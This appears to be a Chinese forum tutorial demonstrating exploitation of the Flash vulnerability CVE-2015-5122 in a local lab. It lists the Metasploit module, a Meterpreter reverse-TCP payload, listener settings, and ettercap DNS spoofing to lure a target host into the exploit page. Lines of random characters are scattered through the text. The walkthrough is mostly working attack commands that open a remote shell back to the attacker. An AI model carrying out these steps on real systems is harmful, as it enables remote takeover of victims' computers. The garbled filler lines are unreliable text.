cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

# T* W w6 O6 g% k, W

( A* j4 l, [0 U" i H   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： . W1 C4 S* v/ Z7 }

0 e P; X+ p" R4 _& Y/ k% s5 r search cve-2015-5122如图： . L" _) N U- k, N, h. B

9 l+ I p+ C% g, A8 |& z

) d L+ Z- k. t" u5 Q   " P4 ~+ Q$ [6 t. m, E

9 D3 P) j& A+ [" O: ?

下面我们敲如下命令：

4 {% }3 N1 ]+ ^ use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp

7 I/ _: A6 v4 L/ @0 r4 k7 V2 J) F

set LHOST 192.168.0.109 * s, m2 ~+ _# @* l* x( J* b' Q

set URIPATH /                        /*根目录*/ 5 H$ h9 v; r, Z6 V6 D2 Q- ^7 P

& P. c4 L: |7 n5 R2 E

( E" x( ?1 L. Y! E set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

- `0 ~+ A0 L3 r+ J$ D; }

然后show options如图： + j" f) _9 }# b/ S

# c* O6 o+ X& C, Y+ J. e8 r

 

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

$ A6 @2 S! {0 F& W, |0 ?% `# r; k 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 3 V0 @: X' e/ `! J" \$ h

7 ]% ]* C1 g+ \0 Z- p: C9 ? Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

0 m4 H& k9 Z; E8 z( N/ F

7 R4 M% C# p. D- i* Y" @  

' t/ U4 S: I# L+ k3 T 成功了，这时候我们断开ettercap，如图： 6 ^5 r7 t2 R' E. _7 C

! L) U% |6 M. Z7 N" U  

) ]6 X5 @2 i" S K1 c8 h8 [1 I, D) [6 e

6 o+ J# X4 Y* H0 `, i Screenshot如图： 4 r2 @. v2 H* E- l& M7 r& f! H `$ u

. _+ u3 P' e* l Q

2 j7 E3 t0 a! w f7 ^   i& v! T! K3 P% x. T